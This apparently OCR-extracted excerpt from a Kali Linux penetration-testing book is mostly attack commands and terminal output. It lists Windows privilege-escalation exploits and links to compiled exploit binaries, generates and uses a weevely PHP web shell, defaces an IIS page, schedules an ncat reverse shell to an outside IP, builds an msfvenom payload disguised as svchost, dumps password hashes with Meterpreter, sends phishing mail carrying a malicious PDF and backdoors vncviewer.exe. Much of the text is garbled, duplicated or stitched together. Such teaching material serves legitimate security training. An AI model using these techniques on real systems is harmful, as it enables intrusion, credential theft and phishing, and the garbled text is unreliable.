| XAMPP for Windows 1.6.3a - Local Privilege Escalation Exploit | ./windows/local/4325.php |
| Microsoft Windows XP SP2 - (Win32k.sys) Privilege Escalation Exploit (MS08-025) | ./windows/local/5518.txt |
| Symantec Altiris Client Service 6.8.378-Local Privilege Escalation Exploit | ./windows/local/5625.c |
| Microsoft Windows 2003/XP - AFD.sys Privilege Escalation Exploit (K-plugin) | ./windows/local/6757.txt |
| Anti-Keylogger Elite 3.3.0 - (AKEProtect.sys) Privilege Escalation Exploit | ./windows/local/7054.txt |
| Apache Tomcat - runtime.getRuntime().exec() Privilege Escalation (win) | ./windows/local/7264.txt |
| ESET Smart Security <= 3.0.672-(epfw.sys) Privilege Escalation Exploit | ./windows/local/7516.txt |
| PowerStrip < = 3.84- (pstrip.sys) Privilege Escalation Exploit | ./windows/local/7533.txt |
| mks_vir 9b < 1.2.0.0b297 - (mksmonen.sys) Privilege Escalation Exploit | ./windows/local/8175.txt |
| CloneCD/DVD ElbyCDIo.sys < 6.0.3.2 - Local Privilege Escalation Exploit | ./windows/local/8250.txt |
| ArcaVir 2009 < 9.4.320X.9 - (ps_drv.sys) Local Privilege Escalation Exploit | ./windows/local/8782.txt |
| Online Armor < 3.5.0.12- (OAmoñ.sys) Local Privilege Escalation Exploit | ./windows/local/8875.txt |
| Adobe Related Service - (getPlus_HelperSva.exe) Local Privilege Escalation | ./windows/local/9199.txt |
| PulseAudio setuid - Local Privilege Escalation Exploit | ./windows/local/9207.sh |
| Adobe Acrobat 9.1.2 - NOS Local Privilege Escalation Exploit | ./windows/local/9223.txt |
| Adobe Acrobat 9.1.2 - NOS Local Privilege Escalation Exploit (py) | ./windows/local/9272.py |
| Microsoft Windows XP - (Win32k.sys) Local Privilege Escalation Exploit | ./windows/local/9301.txt |
| EPSON Status Monitor 3 - Local Privilege Escalation Vulnerability | ./windows/local/9305.txt |
| Steam 54/894 - Local Privilege Escalation Vulnerability | ./windows/local/9386.txt |
| Protector Plus Antivirus 8/9 - Local Privilege Escalation Vulnerability | ./windows/local/9680.txt |
| Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation | ./windows/local/9807.txt |
| Avast Antivirus 4.8.1351.0 - DoS and Privilege Escalation | ./windows/local/9831.txt |
| South River Technologies WebDrive 9.02 build 2232 - Privilege Escalation | ./windows/local/9970.txt |
| Adobe Photoshop Elements - Active File Monitor Service Local Privilege Escalation | ./windows/local/9988.txt |
| Quick Heal 10.00 SPl - Local Privilege Escalation Vulnerability | ./windows/local/10084.txt |
| QuickHeal antivirus 2010 - Local Privilege Escalation | ./windows/local/10475.txt |
| Kaspersky Lab - Multiple Products Local Privilege Escalation Vulnerability | ./windows/local/10484.txt |



Win32k LPE vulnerability used in APT attack
Original info: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
Credits
R136al / hfiref0x
\#\# Compiled EXE:
\#\#\# x86

+ https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou32.exe
+ EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-32.exe \#\#\# x64
+ https://github. com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
+ EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-64.exe
Source Code:
https://github.com/hfiref0x/CVE-2015-1701/archive/master. zip
EDB Mirror: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37049-src.zip
root@asgili: \#



## It works!

This is the default web page for this server.


## (2) Windows PowerShell




```
root@kali:~# samdump2
samdump2 3.0.0 by Objectif Securite (http://www.objectif-securite.ch)
original author: ncuomo@studenti.unina.it
Usage: samdump2 [OPTION]... SYSTEM_FILE SAM_FILE
Retrieves syskey and extract hashes from Windows 2k/NT/XP/Vista SAM
```

$\square$

```
```

    -d enable debugging
    ```
    -d enable debugging
    -h display this information
    -h display this information
    -o file write output to file
    -o file write output to file
root@kali:~#
```

root@kali:~\#

```

Applications * Places *

\section*{Favorites}


\section*{root@kali: ~}

File Edit View Search Terminal Help
[+] weevely 3.2.0
[!] Error: too few arguments
[+] Run terminal to the target weevely <URL> <password> [cmd]
[+] Load session file weevely session <path> [cmd]
[+] Generate backdoor agent weevely generate <password> <path>
root@kali:~\# weevely --help
```

usage: weevely [-h] {terminal,session,generate} ...

```
positional arguments:
    \{terminal, session, generate\}
        terminal Run terminal
        session Recover an existant a session file
        generate Generate a new password
optional arguments:
    -h, --help show this help message and exit
|root@kali:~/malware\# weevely http://192.168.56.101/weevely01.php badActor
Traceback (most recent call last):
    File "./weevely.py", line 98, in <module>
        main(arguments)
    File "./weevely.py", line 48, in main
        modules.load modules(session)
    File "/usr/share/weevely/core/modules.py", line 24 , in load_modules
        (module_group, module_name), fromlist=["*"]
    File "/us \(\bar{r} /\) share/weevel \(\bar{y} /\) modules/shell/php.py", line 4 , in <module>
        from core.channels.channel import Channel
    File "/usr/share/weevely/core/channels/channel.py", line 8, in <module>
        import sockshandler
ImportError: No module named sockshandler
root@kali:~\# weevely generate evilHacker /root/malware/metrics01.php
Generated backdoor with password 'evilHacker' in '/root/malware/metrics01.php' o
f 1315 byte size.
        root@kali:~\# ls weevely/
        metrics01.php weevely01.php weevely02.php
root@kali:~\# weevely http://localhost/metrics01.php evilHacker
[+] weevely 3.2.0
[+] Target: localhost
[+] Session: /root/.weevely/sessions/localhost/metrics01_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

```

root@kali:~\# weevely http://192.168.b6.103/metrics0l.php evilHacker
[+] weevely 3.2.0
[+] Target: 192.168.56.103
[+] Session: /root/.weevely/sessions/192.168.56.103/metrics01_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> :help

```
```

WIN-9AS8SSOIVCI:C:\inetpub\wwwroot\wolf24 \$ system_info
+-------------------------------------------------------
client_ip | 192.168.56.101
max_execution_time
300
script | /metrics01.php
open_basedir
hostname | WIN-9AS8SSOIVCI
php_self | /metrics01.php
script_folder | C:\inetpub\wwwroot
uname | Windows NT WIN-9AS8SSOIVCI 6.3
| build 9600 (Windows Server 2012|
| R2 Datacenter Edition) AMD64
pwd | C:\inetpub\wwwroot\wolf24
safe_mode | False
php_version | 7.0.0
dir_sep | \
os | Windows NT
whoami
document_root | C:\inetpub\wwwroot |
+---------------------------------------------------------
WIN-9AS8SSOIVCI:C:\inetpub\wwwroot \$ file_ls
aspnet client
iis-85.png
iisstart.htm
metrics01.php
wol f24
WIN-9AS8SSOIVCI:C:\inetpub\wwwroot \$
WIN-9AS8SS0IVCI:C:\inetpub\wwwroot \$ file_ls -l
error: unrecognized arguments: -l
usage: file_ls [-h] [dir]
List directory content.
positional arguments:
dir Target folder
optional arguments:
-h, --help show this help message and exit

```
```

WIN-9AS8SSOIVCI:C:\inetpub\wwwroot \$ file_cd wolf24
WIN-9AS8SSOIVCI:C:\inetpub\wwwroot\wolf24 \$ file_ls
-
App_Browsers
App Data
Config
Global.asax
Media
Umbraco
Umbraco_Client
Views
Web.config
app_code
bin
css
default.aspx
favicon.ico
macroScripts
masterpages
scripts
usercontrols
xslt

```

\section*{tmpOXmAYkdefault_aspx \(+(/ t m p)-\) VIM}
- 몽

File Edit View Search Terminal Help
<< Page language="c\#" Codebehind="default.aspx.cs" AutoEventWireup="True" Inher its="umbraco.UmbracoDefault" trace="true" validateRequest="false"
囷vilHackerAddition="true" \%>
tmpXPwRaZevilHacker_aspx + (/tmp) - VIM
\(\bullet\) - \(\boldsymbol{\otimes}\)
File Edit View Search Terminal Help
\&@ this file could contain any aspx code that we want to run \%>
~
~
\(\sim\)
~

WIN-9AS8SSOIVCI:C:\inetpub\wwwroot\wolf24 \$ file_edit evilHacker.aspx [-][upload] File upload failed, please check remōte path and permissions WIN-9AS8SSOIVCI:C:\inetpub\wwwroot \(\backslash\) wolf24 \$
```

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/x
html1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml ">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
<style type="text/css">
<!--
body {
        color:#000000;
        background-color:#0072C6;
    margin:0;
}
#container {
    margin-left:auto;
    margin-right:auto;
    text-align:center;
    }
a img {
    border:none;
}
-->
</style>
</head>
<body>
<div id="container">
<H1>The Evil Hacker Strikes</H1>
<a href="http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409"><img src=
"iis-85.png" alt="IIS" width="960" height="600" /></a>
</div>
</body>
</html>
IIS Windows Server
Windows Server

Internet Information Services
Welcom



## Chapter 8: Maintaining Remote Access




# Bo's Bogus Pizza Offer One Pizza \$5.99 The Second Pizza \$15.99 A Deal too good to be true!!! 

[*] Started reverse handler on 10.100.0.196:4444
[*] 10.100.0.5:445 - Executing the payload...
[+] 10.100.0.5:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage ( 770048 bytes) to 10.100.0.5
[*] Meterpreter session 1 opened (10.100.0.196:4444 -> 10.100.0.5:49161) at 2015-06-17 11:39:47-0400



```
meterpreter > shell
Process 3760 created
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>AT 5:00PM ncat.exe 128.199.190.69 443 --ssl -e cmd.exe
AT 5:00PM ncat.exe 128.199.190.69 443 --ssl -e cmd.exe
Added a new job with job ID = 2
C:\Windows\system32>
```

rootarouae3:/home/foobear\# ncat -nvlp 443 --ssl
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. Ncat: SHA-1 fingerprint: 1177 D742 5927 D7F8 DDDD 86A7 F503 59B9 7EA9 CC79
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 69.131.155.226. Connection from victim machine coming in.
Ncat: Connection from 69.131.155.226:49163.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\Users $\backslash$ Administrator> Connected!

```
root@kalibook: # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse https -f exe -o svchost13.exe
No encoder or badchars specified, outputting raw payload
Saved as: svchost13.exe
root@kalibook:~#
```

```
root@kalibook:~# ls
```

root@kalibook:~\# ls
Desktop etter-msg-20150422.txt powermaint.ps1 svchost13.exe
Desktop etter-msg-20150422.txt powermaint.ps1 svchost13.exe
Downloads
Downloads
ettercap-msg-20150422-1.txt
ettercap-msg-20150422-1.txt
ettercap-msg.txt
ettercap-msg.txt
root@kalibook:~\#

```
root@kalibook:~#
```

meterpreter $>$ upload svchost13.exe $C: /$ windows/svchost13.exe
[*] uploading : svchost13.exe $->$ C:/windows/svchost13.exe
[*] uploaded : svchost13.exe $\rightarrow C: /$ windows/svchost13.exe File is now on the victim machine.

Exploit target:
Id Name
0 Wildcard Target
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse https
PAYLOAD => windows/meterpreter/reverse https
msf exploit(handler) > set LHOST 128.199.190.69
LHOST $=>$ 128.199.190. 69
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
We're jumping through the firewall ET Phones home!
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler..
[*] 69.131.155.226:49167 (UUID: 5596a9dbc8e61b2b/x86=1/windows=1/2015--06-21T21:25:49Z) Staging Native payl oad ...
[*] Meterpreter session 1 opened (128.199.190.69:443 -> 69.131.155.226:49167) at 2015-06-21 17:25:50-0400
meterpreter $>/$ opt/metasploit/apps/pro/vendor/bundle/ruby/2.1.0/gems/recog-1.0.27/lib/recog/fingerprint/re gexp_factory.rb:33: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expressio
n
meterpreter $>$ sysinfo
Computer : WIN-M08FVCLLIIB
OS : Windows 7 (Build 7601, Service Pack 1)
Architecture: x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >


```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse https
msf exploit(handler) > set LHOST 128.1999.190.69
LHOST => 128.199.190.69
msf exploit(handler) > set LPORT 443
PORT \(\Rightarrow 443\)
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
msf exploit(handler) > [*] Starting the payload handler...
msf exploit(handler) > sessions -l
Active sessions
================
No active sessions. No sessions yet.
msf exploit(handler) > jobs -l
\(\begin{array}{ll}\text { Jobs } \\ ==== \\ \text { Id } & \\ -- & \text { Name } \\ 0 & \text { Exploit: multi/handler }\end{array} \quad\) Handler running in the background
msf exploit(handler) >
```



```
msf exploit(handler) >
```

msf exploit(handler) >
[*] 69.131.155.226:49162 (UUID: a643aa28a9877c64/x86=1/windows=1/2015-06-22T02:05:42Z) Staging Native p
[*] 69.131.155.226:49162 (UUID: a643aa28a9877c64/x86=1/windows=1/2015-06-22T02:05:42Z) Staging Native p
ayload ...
ayload ...
[*] Meterpreter session 1 opened (128.199.190.69:443 -> 69.131.155.226:49162) at 2015-06-21 22:05:43 -0
[*] Meterpreter session 1 opened (128.199.190.69:443 -> 69.131.155.226:49162) at 2015-06-21 22:05:43 -0
400
400
msf exploit(handler) > sessions -l
msf exploit(handler) > sessions -l
Active sessions
Active sessions
msf exploit(handler) >

```
msf exploit(handler) >
```

```
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ipconfig
Interface 1
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:07:7e:d8
MTU : 1500
IPv4 Address : 10.100.0.5
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::34e5:33cb:f624:cbc7
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 20
Name : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:07:7e:e2
MTU : 1500
IPv4 Address : 192.168.202.189
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b81c:c045:3872:d95c
IPv6 Netmask : ffff:ffff:ffff:ffff::
meterpreter >
meterpreter > getsystem
..ggot system (via technique 1).
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3bb2c83877575ac7a9794435ccbe5d65...
[*] Obtaining the user list and keys...
[*] Decrynting user kevs
[*] Dumping password hints...
30 Weaver:"funny"
[*] Dumping password hashes...

Administ rator:500: aad3b435b51404eeaad3b435b51404ee:7dd830c5d49005c aed8637bc f26c5794:: :
Guest:501: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:: :
B0 Weaver:1000: aad3b435b51404eeaad3b435b51404ee:7dd830c5d49005caed8637bc f26c5794:: :
meterpreter >
meterpreter \(>\) run autoroute - s 192.168.202.0/24
[*] Adding a route to 192.168.202.0/255.255.255.0...
[+] Added route to 192.168.202.0/255.255.255.0 via 69.131.155.226
[*] Use the \(-p\) option to list all active routes
meterpreter \(>\) run autoroute -p
Active Routing Table
\begin{tabular}{|c|c|c|}
\hline Subnet & Netmask & Gateway \\
\hline ------ & ------- & -- \\
\hline 192.168.202.0 & 255.255.255.0 & Session 1 \\
\hline
\end{tabular}
meterpreter >

msf exploit(psexec) > exploit
[*] Started bind handler
[*] Connecting to the server...
[*] Sending stage ( 882688 bytes)
[*] Authenticating to 192.168.202.2:445|LAB1 as user 'Administrator'..
[*] Uploading payload...
[*] Meterpreter session 2 opened (127.0.0.1 -> 127.0.0.1) at 2015-06-21 22:51:28 -0400
[-] Exploit failed: Rex: StreamClosedError Stream \#<TCPSocket:0x000000084f2060> is closed.
```

neterpreter > sysinfo
Computer : BO-DC1
OS : Windows 2008 (Build 6002, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

```

\section*{meterpreter >}
meterpreter > hashdump
Administ rator:500: aad3b435b51404eeaad3b435b51404ee:7dd830c5d49005caed8637bc f26c5794: : :
Guest:501: aad3b435b51404eeaad3b435b51404ee:31d6c fe0d16ae931b73c59d7e0c089c0:: :
krbtgt:502: aad3b435b51404eeaad3b435b51404ee:2cc97460eafa5ale80d8e6870b896c4d: : :
bo:1000: aad3b435b51404eeaad3b435b51404ee: 12ea9dbeb86915b658d7b57f13ab1dd7: : :
fflintstone:1105: aad3b435b51404eeaad3b435b51404ee:0005ed44b7e569f72d2b22ea684c 1be0: : : sslow:1106: aad3b435b51404eeaad3b435b51404ee:e2708c09c566c4c8a9bbd94a9c273cab: : : rred:1107: aad3b435b51404eeaad3b435b51404ee:8e274cba3349e3d40e467d88eb2098e6:: evilhacker:1110: aad3b435b51404eeaad3b435b51404ee: cec4ac319ad6e8ad3fca16c2e88f4f7f: : : B0-DC1\$:1001 : aad3b435b51404eeaad3b435b51404ee:e6297af369976bd7030c770928f8146b: : : B0-SRV2\$:1108: aad3b435b51404eeaad3b435b51404ee:7ebb80ecf76ced4ffc f88485be6d64c3: : : meterpreter \(>\)
meterpreter \(>\) background
[*] Backgrounding session 2...
msf exploit(psexec) > sessions -l
Active sessions
-




\section*{root@kali: ~}

File Edit View Search Terminal Help
[ ok ] Starting PostgreSQL 9.1 database server: main.
Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
root@kali:~\#
```


# cowsay++

< metasploit >
'-'
(_)-\)\
Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

```
```

        =[ metasploit v4.11.4-2015071402
    ```
        =[ metasploit v4.11.4-2015071402
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf}
```

msf}

```
```

root@kali:~\# nmap -A 10.0.2.15

```
root@kali:~# nmap -A 10.0.2.15
Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-12 16:08 EDT
Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-12 16:08 EDT
Nmap scan report for 10.0.2.15
Nmap scan report for 10.0.2.15
Host is up (0.000023s latency).
Host is up (0.000023s latency).
Not shown: 999 closed ports
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
PORT STATE SERVICE VERSION
443/tcp open ssl/https Apache
443/tcp open ssl/https Apache
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
-http-title: Site doesn't have a title.
-http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=bzq
| ssl-cert: Subject: commonName=bzq
| Not valid before: 2013-08-17T23:37:56+00:00
| Not valid before: 2013-08-17T23:37:56+00:00
|_Not valid after: 2023-08-15T23:37:56+00:00
|_Not valid after: 2023-08-15T23:37:56+00:00
|_ssl-date: 2015-09-12T20:10:54+00:00; 0s from local time.
|_ssl-date: 2015-09-12T20:10:54+00:00; 0s from local time.
Device type: general purpose
Device type: general purpose
Running: Linux 3.X
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux kernel:3
OS CPE: cpe:/o:linux:linux kernel:3
OS details: Linux 3.7 - 3.15
OS details: Linux 3.7 - 3.15
Network Distance: 0 hops
Network Distance: 0 hops
OS and Service detection performed. Please report any incorrect results at http:
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 126.99 seconds
Nmap done: 1 IP address (1 host up) scanned in 126.99 seconds
root@kali:~#
```

root@kali:~\#

```
[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...
[*] 10.0.2.15:33384 Request received for /...
[*] 10.0.2.15:33384 Unknown request to / \#<Rex::Proto::Http::Request:0xf4444e0 @ headers=\{\}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=fals e, @bufq="", @body="", @method="GET", @raw_uri="/", @uri_parts=\{"QueryString"=>\{ \}, "Resource"=>"/"\}, @proto="1.0", @chunk_min_size=1, @chunk_max_size=10, @uri_e ncode_mode="hex-normal", @relative_resource="/"", @body_bytes_left=0>...
[*] 10.0.2.15:33386 Request receivèd for /...
[*] 10.0.2.15:33386 Unknown request to / \#<Rex::Proto::Http::Request:0x10544344 @headers=\{\}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=fal se, @bufq="", @body="", @method="OPTIONS", @raw_uri="/", @uri_parts=\{"QueryStrin g"=>\{\}, "Resource"=>"/"\}, @proto="1.0", @chunk_min_size=1, @chunk_max_size=10, @ uri_encode_mode="hex-normal", @relative_resource="/", @body_bytes_lef \(\bar{t}=0>\ldots\)
[*] \({ }^{-}\)10.0.2. \(15: 33396\) Request received for \(/\) nice ports,/Trinity.txt.bak...
[*] 10.0.2.15:33396 Unknown request to /nice ports,/Trinity.txt.bak \#<Rex::Proto ::Http::Request:0xfc8a294 @headers=\{\}, @auto_cl=true, @state=3, @transfer_chunke d=false, @inside_chunk=false, @bufq="", @body="", @method="GET", @raw_uri="/nice ports,/Trinity. \(\bar{t} x t . b a k ", ~ @ u r i \_p a r t s=\{" Q u e r y S t r i n g "=>\{ \}\), "Resource" \(=>\bar{\prime} /\) nice port s,/Trinity.txt.bak"\}, @proto="1.0", @chunk_min_size=1, @chunk_max_size=10, @uri encode_mode="hex-normal", @relative_resource="/nice ports,/Trīnity.txt.bak", @bō dy_bytes_left=0>...


\section*{set:phishing>3}
[****] Custom Template Generator [****]
Always looking for new templates! In the set/src/templates directory send an ema il
to info@trustedsec.com if you got a good template!
set> Enter the name of the author: kevin@atlantacloudtech.com
set> Enter the subject of the email: Invitation to my birthday party
set> Enter the body of the message, hit return for a new line. Control+c when fi nished: : I want you at my birthday party, because you are fun.
Next line of the body: Attached is the invitation
Next line of the body: \({ }^{\wedge}\) C
1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack
3) MS14-017 Microsoft Word RTF Object Confusion (2014-04-01)
4) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
5) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
6) Adobe Flash Player "Button" Remote Code Execution
7) Adobe CoolType SING Table "uniqueName" Overflow
8) Adobe Flash Player "newfunction" Invalid Pointer Use
9) Adobe Collab.collectEmailInfo Buffer Overflow
10) Adobe Collab.getIcon Buffer Overflow
11) Adobe JBIG2Decode Memory Corruption Exploit
12) Adobe PDF Embedded EXE Social Engineering
13) Adobe util.printf() Buffer Overflow
14) Custom EXE to VBA (sent via RAR) (RAR required)
15) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
16) Adobe PDF Embedded EXE Social Engineering (NOJS)
17) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
18) Apple QuickTime PICT PnSize Buffer Overflow
19) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
20) Adobe Reader u3D Memory Corruption Vulnerability
21) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

\section*{set:payloads>12}
[-] Default payload creation selected. SET will generate a normal PDF with embedd ed EXE.
1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

\section*{set:payloads>2}
1) Windows Reverse TCP Shell
send back to attacker
2) Windows Meterpreter Reverse_TCP and send back to attacker
3) Windows Reverse VNC DLL d back to attacker
4) Windows Reverse TCP Shell (x64) CP Inline
5) Windows Meterpreter Reverse_TCP (X64) s x64), Meterpreter
6) Windows Shell Bind_TCP (X64) ing port on remote system
7) Windows Meterpreter Reverse HTTPS SSL and use Meterpreter

Spawn a command shell on victim and
Spawn a meterpreter shell on victim
Spawn a VNC server on victim and sen
Windows X64 Command Shell, Reverse T
Connect back to the attacker (Window
Execute payload and create an accept
Tunnel communication over HTTP using
set:payloads>7
set> IP address for the payload listener (LHOST): 10.0.2.15
set:payloads> Port to connect back on [443]:443
[-] Generating fileformat exploit...
[*] Payload creation complete.
[*] All payloads get sent to the /root/.set/template.pdf directory
[-] As an added bonus, use the file-format creator in SET to create your attachm ent.
No previous payload created.
set:phishing> Enter the file to use as an attachment:/root/.set/legit.exe
Right now the attachment will be imported with filename of 'template.whatever

Do you want to rename the file?
example Enter the new filename: moo.pdf
1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.
set:phishing>Invitation.pdf

Social Engineer Toolkit Mass E-Mailer
There are two options on the mass e-mailer, the first would be to send an email to one individual person. The second option will allow you to import a list and send it to as many people as you want within that list.

What do you want to do:
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
99. Return to main menu.

\section*{set:phishing>1}

Do you want to use a predefined template or craft a one time email template.
1. Pre-Defined Template
2. One-Time Use Email Template
1. Pre-Defined Template
2. One-Time Use Email Template
set: phishing>1
[-] Available templates:
1: Status Report
2: Order Confirmation
3: How long has it been?
4: Invitation to my birthday party
5: Have you seen this?
6: Strange internet usage from your computer
7: Computer Issue
8: WOAAAA!!!!!!!!!!! This is crazy...
9: Dan Brown's Angels \& Demons
10: New Update
11: Baby Pics
1. Use a gmail Account for your email attack.
2. Use your own server or open relay

\section*{set:phishing>2}
set:phishing> From address (ex: moo@example.com) :evilhacker@act23.com
set:phishing> The FROM NAME user will see:Network Support
set:phishing> Flag this message/s as high priority? [yes|no]:n
[*] SET has finished delivering the emails

```

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
cave_miner_inline
iat_reverse_tcp_inline
iat_reverse_tcp_inline_threaded
iat_reverse_tcp_stager_threaded
iat_user_supplied_shellcode_threaded
meterpreter_reverse_https_threaded
reverse_she<br>l_tcp_in̄line
reverse_tcp_stager_threaded
user_supplied_shel\̄code_threaded

```
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 365
[*] All caves lengths: 365
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#
[*] Cave 1 length as int: 365
[*] Available caves:
1. Section Name: None; Section Begin: None End: None; Cave begin: 0x294 End: 0xf
fc; Cave Size: 3432
2. Section Name: .text; Section Begin: \(0 \times 1000\) End: \(0 \times 3 c 000\); Cave begin: \(0 \times 3 b 5 a 6\)
End: 0x3bffc; Cave Size: 2646
3. Section Name: None; Section Begin: None End: None; Cave begin: 0x4012c End: 0
x41001; Cave Size: 3797
4. Section Name: .data; Section Begin: \(0 \times 41000\) End: 0x4b000; Cave begin: 0x4719d
End: 0x473c8; Cave Size: 555
5. Section Name: .data; Section Begin: \(0 \times 41000\) End: \(0 x 4 b 000\); Cave begin: \(0 \times 474 \mathrm{e} 9\)
End: 0x494e4; Cave Size: 8187
6. Section Name: None; Section Begin: None End: None; Cave begin: 0x4a0de End: 0
[!] Enter your selection: 1
[!] Using selection: 1
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File vncviewer.exe is in the 'backdoored' directory

\section*{Chapter 9: Reverse Engineering and Stress Testing}
\begin{tabular}{|c|c|c|}
\hline Subcategories of Reverse Engineering & Tools in Kali 1.x (default menu) & Tools in Kali 2.0 (default menu) \\
\hline Debuggers & edb-debugger & edb-debugger \\
\hline & ollydbg & ollydbg \\
\hline \multirow[t]{4}{*}{Disassembly} & jad & jad. \\
\hline & rabin2 & /usrs/bin/rabin2 \\
\hline & radiff2 & /usr/bin/radiff2 \\
\hline & rasm2 & /uss/bin/rasm2 \\
\hline \multirow[t]{14}{*}{Misc RE Tools} & apktool & apktool \\
\hline & clang & clang \\
\hline & clang++ & clang++ \\
\hline & dex2jar & dex2jar \\
\hline & flasm & flasm \\
\hline & javasnoop & javasnoop \\
\hline & *New in K2.0 \(\rightarrow\) & Metasploit NASM Shell \\
\hline & radare2 & radare2 \\
\hline & rafind2 & /uss/bin/rafind2 \\
\hline & ragg2 & /ust/bin/ragg2 \\
\hline & ragg2-cc & /uss/bin/ragg2-cc \\
\hline & rahash2 & /uss/bin/rahash2 \\
\hline & rarun2 & /usr/bin/rarun2 \\
\hline & rax2 & /usr/bin/rax2 \\
\hline
\end{tabular}

\section*{root@kali: ~}

File Edit View Search Terminal Help
```

root@kali:~\# ping -c 2 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.023 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.030 ms
--- 192.168.56.101 ping statistics ---
